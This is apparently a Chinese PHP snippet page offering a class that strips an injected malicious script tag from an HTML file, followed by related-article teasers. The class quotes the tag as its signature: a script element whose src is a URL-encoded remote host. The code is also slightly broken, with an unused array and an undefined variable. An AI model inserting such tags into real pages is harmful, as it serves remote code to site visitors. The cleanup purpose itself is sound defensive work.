php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php连接odbc数据源并保存与查询数据的方法

本文实例讲述了php连接odbc数据源并保存与查询数据的方法。分享给大家供大家参考。 具体实现代码如下: 复制代码 代码如下: $connstr = "driver=microsoft...

php 文章调用类代码

调用方法如下: 复制代码 代码如下: $Template= '<li class="xxx">[<a href="{catedir}">{catetitle}&l...

php支持断点续传、分块下载的类

本文是为大家分享php支持断点续传、分块下载的类,供大家参考,具体内容如下 <?php /** * User: djunny * Date: 2016-04-2...

提高Laravel应用性能方法详解

使用Laravel做开发是高效而愉悦的体验。 通常,当你准备部署应用的时候,你可能会意识到应用也许会在真实环境下表现不佳。 需要明白的是,没有银弹。通过努力去对应用的每个细节完成所有的优...

PHP nl2br函数 将换行字符转成 &amp;lt;br&amp;gt;

将换行字符转成 <br> 。 语法 : string nl2br(string string); 返回值 : 字符串 函数种类 : 资料处理 内容说明 本函数将换行字符转换成...